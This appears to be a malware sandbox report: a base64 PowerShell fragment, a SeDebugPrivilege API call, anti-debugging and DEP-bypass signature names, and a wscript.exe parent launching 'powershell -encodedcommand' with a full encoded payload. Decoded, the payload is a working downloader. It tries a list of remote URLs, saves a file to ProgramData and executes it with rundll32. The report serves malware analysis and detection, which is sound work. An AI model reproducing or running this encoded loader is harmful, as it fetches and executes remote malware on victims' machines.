AFEAQQB3AEEAQwA0AEEATQBnAEEAeQBBAEQAYwBBAEwAZwBBAHkAQQBEAEEAQQBNAGcAQQB1AEEARABVAEEATgBnAEEAPQA9AFoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgAwAEEARwBFAEEAWQBnAEIAdgBBAEcAOABBAGEAUQBCAHoAQQBHADAAQQBMAGcAQgBqAEEARwA4AEEAYgBRAEEAPQA9AFoAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBNAEEAWQB3AEIAaABBAEgAQQBBAGEAQQBCAHYAQQBHAGsAQQBaAEEAQQB1AEEASABRAEEAYgB3AEIANQBBAEgATQBBACIAOwAkAE0AaQBsAGwAZQBmAGwAZQB1AHIAcwBEAHIAYQBpAG4AYQBnAGUAdwBhAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQATwBvAG0AaQBhAGMAawBDAG8AYwBrAGEAdwBlAGUAKQApADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABNAGkAbABsAGUAZgBsAGUAdQByAHMARAByAGEAaQBuAGEAZwBlAHcAYQB5ACAALQBPACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcAGEAbgB0AGkAZQBuAHYAaQByAG8AbgBtAGUAbgB0AGEAbABpAHMAbQAuAGQAaQBzAGwAbwBkAGcAaQBuAGcARABlAHAAbwBzAGkAdABpAG8AbgBhAGwAOwAkAE8AcgBkAHUAcgBvAHUAcwBuAGUAcwBzAEYAcgBpAHYAbwBsAGwAaQBuAGcAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBPAFEAQQB1AEEARABnAEEATgBRAEEAdQBBAEQAZwBBAE0AUQBBAHUAQQBEAEUAQQBNAGcAQQAzAEEAQQA9AD0AWQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAGMAQQBOAGcAQQB1AEEARABFAEEATwBRAEEAeABBAEMANABBAE0AZwBBAHcAQQBEAGcAQQBMAGcAQQB4AEEARABRAEEATgBBAEEAPQBZAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQARQBBAE4AdwBBAHUAQQBEAEkAQQBNAEEAQQB6AEEAQwA0AEEATQBRAEEAeQBBAEQATQBBAEwAZwBBAHgAQQBEAGcAQQBNAHcAQQA9ACIAOwAkAEgAaQBzAHQAbwByAGkAYwBhAGwAbAB5AE8AdQB0AGIAdQBpAGwAZABpAG4AZwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAegBBAEgAVQBBAFkAZwBCAGoAQQBHAHcAQQBZAFEAQgAxAEEASABNAEEAWgBRAEEAdQBBAEcANABBAFoAUQBCADMAQQBIAE0AQQBhAFoAagBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAEkAQQBZAFEAQgAwAEEARwBnAEEAZQBRAEIAegBBAEcAMABBAFkAUQBCAHMAQQBGAFUAQQBiAGcAQgBqAEEARwA4AEEAYgBnAEIAMABBAEgASQBBAGIAdwBCADIAQQBHAFUAQQBjAGcAQgAwAEEARwBFAEEAWQBnAEIAcwBBAEcAVQBBAEwAZwBCAHYAQQBHADQAQQBaAFEAQQA9ACIAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAALQBQAGEAdABoACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcAGEAbgB0AGkAZQBuAHYAaQByAG8AbgBtAGUAbgB0AGEAbABpAHMAbQAuAGQAaQBzAGwAbwBkAGcAaQBuAGcARABlAHAAbwBzAGkAdABpAG8AbgBhAGwAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAAyADkAOQAxADQAOQApAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAFEAdwBBADYAQQBGAHcAQQBVAEEAQgB5AEEARwA4AEEAWgB3AEIAeQBBAEcARQBBAGIAUQBCAEUAQQBHAEUAQQBkAEEAQgBoAEEARgB3AEEAWQBRAEIAdQBBAEgAUQBBAGEAUQBCAGwAQQBHADQAQQBkAGcAQgBwAEEASABJAEEAYgB3AEIAdQBBAEcAMABBAFoAUQBCAHUAQQBIAFEAQQBZAFEAQgBzAEEARwBrAEEAYwB3AEIAdABBAEMANABBAFoAQQBCAHAAQQBIAE0AQQBiAEEAQgB2AEEARwBRAEEAWgB3AEIAcABBAEcANABBAFoAdwBCAEUAQQBHAFUAQQBjAEEAQgB2AEEASABNAEEAYQBRAEIAMABBAEcAawBBAGIAdwBCAHUAQQBHAEUAQQBiAEEAQQBzAEEARwAwAEEAZABRAEIAegBBAEgAUQBBAE8AdwBBAD0AIgA7ACQAdQBuAGEAdQB0AGgAZQBuAHQAaQBjAGkAdAB5ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgAwAEEARwBnAEEAWgBRAEIAeQBBAEcAVQBBAGIAdwBCAG0AQQBFADAAQQBaAFEAQgB6AEEARwBnAEEAYQBRAEIAbABBAEgASQBBAEwAZwBCAHoAQQBHADgAQQBiAEEAQgBoAEEASABJAEEASgBLAGYAZQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBIAEEAQQBkAFEAQgB5AEEASABBAEEAYgB3AEIAeQBBAEgAUQBBAFoAUQBCAGsAQQBGAGMAQQBiAHcAQgB1AEEARwBRAEEAWgBRAEIAeQBBAEcAVQBBAGMAZwBCAHoAQQBDADQAQQBZAHcAQgBoAEEASABJAEEAWgBRAEIAbABBAEgASQBBAGMAdwBBAD0ASgBLAGYAZQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAFUAQQBNAFEAQQB1AEEARABFAEEATQBBAEEANABBAEMANABBAE4AdwBBADEAQQBDADQAQQBPAEEAQQA1AEEAQQA9AD0ASgBLAGYAZQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBPAFEAQQB1AEEARABFAEEATQBBAEEANQBBAEMANABBAE0AUQBBADAAQQBEAGMAQQBMAGcAQQB4AEEARABFAEEATgB3AEEAPQAiADsAJABOAGUAcABoAHIAbwBsAHkAdABpAGMAUgBvAGcAdQBlAGQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBNAFEAQQAzAEEAQwA0AEEATQBnAEEAeQBBAEQAUQBBAEwAZwBBAHgAQQBEAGsAQQBNAFEAQQB1AEEARABFAEEATQB3AEEAegBBAEEAPQA9AHgAegBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAGcAQQBhAFEAQgB3AEEASABBAEEAYQBRAEIAaABBAEgAUQBBAGMAZwBCAHAAQQBHAE0AQQBZAFEAQgBzAEEARgBNAEEAWQBRAEIAdQBBAEcAYwBBAGQAUQBCAHAAQQBHADQAQQBaAFEAQgB2AEEARwBJAEEAYQBRAEIAcwBBAEcAawBBAGIAdwBCADEAQQBIAE0AQQBMAGcAQgB6AEEARwBVAEEAeAB6AGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgATQBBAFkAdwBCAGgAQQBIAEkAQQBZAFEAQgBpAEEARwBFAEEAWgBRAEIAcABBAEcAUQBBAFkAUQBCAGwAQQBFAFEAQQBhAFEAQgBsAEEASABNAEEAZABBAEIAdgBBAEcATQBBAGEAdwBCAHoAQQBDADQAQQBjAHcAQgBqAEEARwA4AEEAZABBAEEAPQB4AHoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB6AEEARwBVAEEAYwBBAEIAcABBAEcARQBBAGIAQQBCAHAAQQBHAHMAQQBaAFEAQgBVAEEARwBrAEEAZABnAEIAdgBBAEcAdwBBAGEAUQBBAHUAQQBHAGMAQQBhAFEAQgBtAEEASABRAEEAIgA7ACQAYwBhAG0AcAB1AHMAZQBzAEMAYQB0AGUAYwBoAGkAegBhAHQAaQBvAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEEAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAMwBBAEMANABBAE0AZwBBADAAQQBEAEkAQQBMAGcAQQB5AEEARABRAEEATgBnAEEAPQAiADsAYgByAGUAYQBrADsAfQB9ACAAYwBhAHQAYwBoACAAewB9AH0A"
filepath: powershell
1 1 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
parent_process wscript.exe martian_process powershell -encodedcommand "JABNAGUAdABlAHAAaQBtAGUAcgBvAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBOAEEAQQB1AEEARABFAEEATwBRAEEANQBBAEMANABBAE0AUQBBADQAQQBEAGsAQQBMAGcAQQA0AEEARABNAEEAbgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAFEAQQBhAFEAQgB6AEEASABRAEEAWgBRAEIAdQBBAEgATQBBAGEAUQBCAHYAQQBHADQAQQBjAHcAQQB1AEEASABjAEEAYQBRAEIAcgBBAEcAawBBAG4AYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBRAEEAYgB3AEIAMwBBAEcANABBAGEAUQBCAHMAQQBIAGsAQQBTAEEAQgBsAEEARwBNAEEAYQBBAEIAMABBAEcAawBBAFkAUQBBAHUAQQBHAGcAQQBiAHcAQgBzAEEARwBRAEEAYQBRAEIAdQBBAEcAYwBBAGMAdwBBAD0AIgA7ACQATwB2AGUAcgBiAGEAawBlAGQAQQBsAGMAdQBtAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBIAE0AQQBkAEEAQgB5AEEARwA4AEEAYgBnAEIAMABBAEcAawBBAFkAUQBBAHUAQQBHAEkAQQBaAFEAQgB5AEEARwB3AEEAYQBRAEIAdQBBAEMAOABBAFMAQQBCAHkAQQBDADgAQQBkAGcAQQA1AEEARgBBAEEAYgBRAEEAeABBAEEAPQA9AD0AawB4AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAVABBAEgAVQBBAFkAZwBCAGsAQQBHAFUAQQBZAFEAQgB1AEEARwBVAEEAYwBnAEIANQBBAEMANABBAGMAdwBCADEAQQBIAEkAQQBaAGcAQQB2AEEARQAwAEEAWQBRAEEAdgBBAEYAWQBBAGQAZwBCAEcAQQBEAE0AQQA9AGsAeABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADAAQQBEAGsAQQBMAGcAQQB5AEEARABRAEEATwBRAEEAdQBBAEQARQBBAE0AUQBBAHoAQQBDADQAQQBNAFEAQQB5AEEARABRAEEATAB3AEIAVwBBAEMAOABBAE4AUQBBADAAQQBBAD0APQA9AGsAeABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBhAEEAQgB2AEEASABRAEEAYgB3AEIAdwBBAEcAZwBBAGIAdwBCAHUAQQBHAGsAQQBZAHcAQgBCAEEARwB3AEEAWQB3AEIAMQBBAEcAMABBAGUAUQBBAHUAQQBHAEkAQQBkAFEAQgA2AEEASABvAEEATAB3AEIAWQBBAEcAWQBBAE0AUQBCAHQAQQBDADgAQQBNAHcAQgB1AEEARgBnAEEAYwBnAEEAPQA9AGsAeABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAE0AQQBiAEEAQgAxAEEASABRAEEAZABBAEIAcABBAEcAcwBBAGEAUQBCAHUAQQBFADgAQQBkAGcAQgBsAEEASABJAEEAYQBBAEIAbABBAEcAawBBAFoAdwBCAG8AQQBIAFEAQQBMAGcAQgB0AEEARwA4AEEAWQBnAEIAcABBAEMAOABBAE8AUQBCAHcAQQBEAEkAQQBXAEEAQgBDAEEAQwA4AEEAYgBBAEIAVwBBAEQAVQBBAGIAZwBBAD0APQBrAHgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB3AEEASABNAEEAZQBRAEIAagBBAEcAZwBBAGIAdwBCAHMAQQBHADgAQQBaAHcAQgBwAEEASABNAEEAYQBRAEIAdQBBAEcAYwBBAEwAZwBCADMAQQBHAGsAQQBhAHcAQgBwAEEAQwA4AEEAWgB3AEEAMQBBAEYATQBBAFkAdwBCAE4AQQBDADgAQQBOAHcAQQAwAEEARQBrAEEAVQB3AEEAPQA9AGsAeABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AUQBBADMAQQBDADQAQQBOAHcAQQB3AEEAQwA4AEEAWQB3AEIARQBBAEYATQBBAGQAUQBCAEgAQQBHAEkAQQBMAHcAQQB6AEEARQBNAEEAUwB3AEIAMgBBAEQATQBBAGEAZwBCAFcAQQBGAFkAQQBZAFEAQgB5AEEASABnAEEAPQBrAHgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBNAFEAQQAzAEEAQwA0AEEATQBRAEEAMABBAEMAOABBAE8AQQBCAEMAQQBIAG8AQQBMAHcAQgBqAEEARQBnAEEAUQB3AEIATwBBAEUAcwBBAGIAdwBCAHcAQQBHADAAQQBZAHcAQQA1AEEAQQA9AD0APQBrAHgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBNAFEAQQAzAEEAQwA0AEEATgBnAEEANQBBAEMAOABBAE4AdwBCADQAQQBIAFkAQQBiAGcAQgBvAEEARABFAEEAVwBRAEEAdgBBAEUARQBBAE0AQQBCAFUAQQBHAFEAQQBXAGcAQgB2AEEAQQA9AD0AIgA7ACQAbgBvAG4AdAByAG8AcABpAGMAYQBsAGwAeQBDAG8AbQBtAHUAdABhAHQAaQBvAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAGcAQQBhAFEAQgB6AEEASABRAEEAYgB3AEIAcwBBAEcAOABBAFoAdwBCAHAAQQBHAE0AQQBZAFEAQgBzAEEARwB3AEEAZQBRAEIAQgBBAEcAdwBBAGQAZwBCAGwAQQBHADgAQQBiAEEAQgBwAEEASABRAEEAWgBRAEEAdQBBAEcARQBBAGIAQQBBAD0AUABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBaAFEAQgBqAEEARwBnAEEAWgBRAEIAawBBAEMANABBAFkAdwBCAHYAQQBHADAAQQAiADsAJABIAGUAeABhAGgAZQBtAGUAcgBvAG4AUAByAG8AcwBjAHkAbgBlAG0AYQB0AGEAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAEUAQQBaAEEAQgB2AEEASABBAEEAWgBRAEIAeQBBAEcARQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQgBCAEEARwBJAEEAYgB3AEIAagBBAEcAOABBAFkAdwBCAHIAQQBHAFUAQQBkAEEAQQB1AEEARwBjAEEAYwBnAEIAcABBAEgAQQBBAFoAUQBBAD0AaAA9AEUAQQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAE0AQQBiAHcAQgB5AEEARwBVAEEAZABBAEIAdgBBAEcAMABBAGUAUQBBAHUAQQBHADQAQQBaAHcAQgB2AEEAQQA9AD0AIgA7ACQASAB5AHAAZQByAGEAbABnAGUAdABpAGMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADAAQQBEAEkAQQBMAGcAQQB4AEEARABJAEEATwBBAEEAdQBBAEQAUQBBAE4AQQBBAHUAQQBEAEkAQQBNAFEAQQA1AEEAQQA9AD0AYgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAEUAQQBIAFUAQQBhAHcAQgBsAEEARwB3AEEAYQBRAEIAdQBBAEcAYwBBAFUAdwBCADEAQQBHAEkAQQBjAHcAQgAwAEEARwA4AEEAYwBnAEIANQBBAEMANABBAGQAdwBCAGwAQQBHAEkAQQBjAHcAQgBwAEEASABRAEEAWgBRAEEAPQBiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAawBBAE0AZwBBAHUAQQBEAFkAQQBNAFEAQQB1AEEARABZAEEATQBnAEEAdQBBAEQARQBBAE0AQQBBADIAQQBBAD0APQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABPAG8AbQBpAGEAYwBrAEMAbwBjAGsAYQB3AGUAZQAgAGkAbgAgACQATwB2AGUAcgBiAGEAawBlAGQAQQBsAGMAdQBtAHkAIAAtAHMAcABsAGkAdAAgACIAPQBrAHgAIgApACAAewB0AHIAeQAgAHsAJABEAGUAbgBvAHQAaQBuAGcASABlAGEAZABzAGgAZQBlAHQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEEAQQBNAHcAQQB1AEEARABjAEEATgBRAEEAdQBBAEQAZwBBAE0AZwBBAHUAQQBEAEUAQQBOAEEAQQAxAEEAQQA9AD0AIgA7ACQAUABvAHMAaABsAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBNAFEAQQB3AEEAQwA0AEEATQBnAEEAeQBBAEQAYwBBAEwAZwBBAHkAQQBEAEEAQQBNAGcAQQB1AEEARABVAEEATgBnAEEAPQA9AFoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgAwAEEARwBFAEEAWQBnAEIAdgBBAEcAOABBAGEAUQBCAHoAQQBHADAAQQBMAGcAQgBqAEEARwA4AEEAYgBRAEEAPQA9AFoAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBNAEEAWQB3AEIAaABBAEgAQQBBAGEAQQBCAHYAQQBHAGsAQQBaAEEAQQB1AEEASABRAEEAYgB3AEIANQBBAEgATQBBACIAOwAkAE0AaQBsAGwAZQBmAGwAZQB1AHIAcwBEAHIAYQBpAG4AYQBnAGUAdwBhAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQATwBvAG0AaQBhAGMAawBDAG8AYwBrAGEAdwBlAGUAKQApADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABNAGkAbABsAGUAZgBsAGUAdQByAHMARAByAGEAaQBuAGEAZwBlAHcAYQB5ACAALQBPACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcAGEAbgB0AGkAZQBuAHYAaQByAG8AbgBtAGUAbgB0AGEAbABpAHMAbQAuAGQAaQBzAGwAbwBkAGcAaQBuAGcARABlAHAAbwBzAGkAdABpAG8AbgBhAGwAOwAkAE8AcgBkAHUAcgBvAHUAcwBuAGUAcwBzAEYAcgBpAHYAbwBsAGwAaQBuAGcAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBPAFEAQQB1AEEARABnAEEATgBRAEEAdQBBAEQAZwBBAE0AUQBBAHUAQQBEAEUAQQBNAGcAQQAzAEEAQQA9AD0AWQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAGMAQQBOAGcAQQB1AEEARABFAEEATwBRAEEAeABBAEMANABBAE0AZwBBAHcAQQBEAGcAQQBMAGcAQQB4AEEARABRAEEATgBBAEEAPQBZAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQARQBBAE4AdwBBAHUAQQBEAEkAQQBNAEEAQQB6AEEAQwA0AEEATQBRAEEAeQBBAEQATQBBAEwAZwBBAHgAQQBEAGcAQQBNAHcAQQA9ACIAOwAkAEgAaQBzAHQAbwByAGkAYwBhAGwAbAB5AE8AdQB0AGIAdQBpAGwAZABpAG4AZwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAegBBAEgAVQBBAFkAZwBCAGoAQQBHAHcAQQBZAFEAQgAxAEEASABNAEEAWgBRAEEAdQBBAEcANABBAFoAUQBCADMAQQBIAE0AQQBhAFoAagBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAEkAQQBZAFEAQgAwAEEARwBnAEEAZQBRAEIAegBBAEcAMABBAFkAUQBCAHMAQQBGAFUAQQBiAGcAQgBqAEEARwA4AEEAYgBnAEIAMABBAEgASQBBAGIAdwBCADIAQQBHAFUAQQBjAGcAQgAwAEEARwBFAEEAWQBnAEIAcwBBAEcAVQBBAEwAZwBCAHYAQQBHADQAQQBaAFEAQQA9ACIAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAALQBQAGEAdABoACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcAGEAbgB0AGkAZQBuAHYAaQByAG8AbgBtAGUAbgB0AGEAbABpAHMAbQAuAGQAaQBzAGwAbwBkAGcAaQBuAGcARABlAHAAbwBzAGkAdABpAG8AbgBhAGwAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAAyADkAOQAxADQAOQApAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAFEAdwBBADYAQQBGAHcAQQBVAEEAQgB5AEEARwA4AEEAWgB3AEIAeQBBAEcARQBBAGIAUQBCAEUAQQBHAEUAQQBkAEEAQgBoAEEARgB3AEEAWQBRAEIAdQBBAEgAUQBBAGEAUQBCAGwAQQBHADQAQQBkAGcAQgBwAEEASABJAEEAYgB3AEIAdQBBAEcAMABBAFoAUQBCAHUAQQBIAFEAQQBZAFEAQgBzAEEARwBrAEEAYwB3AEIAdABBAEMANABBAFoAQQBCAHAAQQBIAE0AQQBiAEEAQgB2AEEARwBRAEEAWgB3AEIAcABBAEcANABBAFoAdwBCAEUAQQBHAFUAQQBjAEEAQgB2AEEASABNAEEAYQBRAEIAMABBAEcAawBBAGIAdwBCAHUAQQBHAEUAQQBiAEEAQQBzAEEARwAwAEEAZABRAEIAegBBAEgAUQBBAE8AdwBBAD0AIgA7ACQAdQBuAGEAdQB0AGgAZQBuAHQAaQBjAGkAdAB5ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgAwAEEARwBnAEEAWgBRAEIAeQBBAEcAVQBBAGIAdwBCAG0AQQBFADAAQQBaAFEAQgB6AEEARwBnAEEAYQBRAEIAbABBAEgASQBBAEwAZwBCAHoAQQBHADgAQQBiAEEAQgBoAEEASABJAEEASgBLAGYAZQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBIAEEAQQBkAFEAQgB5AEEASABBAEEAYgB3AEIAeQBBAEgAUQBBAFoAUQBCAGsAQQBGAGMAQQBiAHcAQgB1AEEARwBRAEEAWgBRAEIAeQBBAEcAVQBBAGMAZwBCAHoAQQBDADQAQQBZAHcAQgBoAEEASABJAEEAWgBRAEIAbABBAEgASQBBAGMAdwBBAD0ASgBLAGYAZQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAFUAQQBNAFEAQQB1AEEARABFAEEATQBBAEEANABBAEMANABBAE4AdwBBADEAQQBDADQAQQBPAEEAQQA1AEEAQQA9AD0ASgBLAGYAZQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBPAFEAQQB1AEEARABFAEEATQBBAEEANQBBAEMANABBAE0AUQBBADAAQQBEAGMAQQBMAGcAQQB4AEEARABFAEEATgB3AEEAPQAiADsAJABOAGUAcABoAHIAbwBsAHkAdABpAGMAUgBvAGcAdQBlAGQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBNAFEAQQAzAEEAQwA0AEEATQBnAEEAeQBBAEQAUQBBAEwAZwBBAHgAQQBEAGsAQQBNAFEAQQB1AEEARABFAEEATQB3AEEAegBBAEEAPQA9AHgAegBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAGcAQQBhAFEAQgB3AEEASABBAEEAYQBRAEIAaABBAEgAUQBBAGMAZwBCAHAAQQBHAE0AQQBZAFEAQgBzAEEARgBNAEEAWQBRAEIAdQBBAEcAYwBBAGQAUQBCAHAAQQBHADQAQQBaAFEAQgB2AEEARwBJAEEAYQBRAEIAcwBBAEcAawBBAGIAdwBCADEAQQBIAE0AQQBMAGcAQgB6AEEARwBVAEEAeAB6AGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgATQBBAFkAdwBCAGgAQQBIAEkAQQBZAFEAQgBpAEEARwBFAEEAWgBRAEIAcABBAEcAUQBBAFkAUQBCAGwAQQBFAFEAQQBhAFEAQgBsAEEASABNAEEAZABBAEIAdgBBAEcATQBBAGEAdwBCAHoAQQBDADQAQQBjAHcAQgBqAEEARwA4AEEAZABBAEEAPQB4AHoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB6AEEARwBVAEEAYwBBAEIAcABBAEcARQBBAGIAQQBCAHAAQQBHAHMAQQBaAFEAQgBVAEEARwBrAEEAZABnAEIAdgBBAEcAdwBBAGEAUQBBAHUAQQBHAGMAQQBhAFEAQgBtAEEASABRAEEAIgA7ACQAYwBhAG0AcAB1AHMAZQBzAEMAYQB0AGUAYwBoAGkAegBhAHQAaQBvAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEEAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAMwBBAEMANABBAE0AZwBBADAAQQBEAEkAQQBMAGcAQQB5AEEARABRAEEATgBnAEEAPQAiADsAYgByAGUAYQBrADsAfQB9ACAAYwBhAHQAYwBoACAAewB9AH0A"
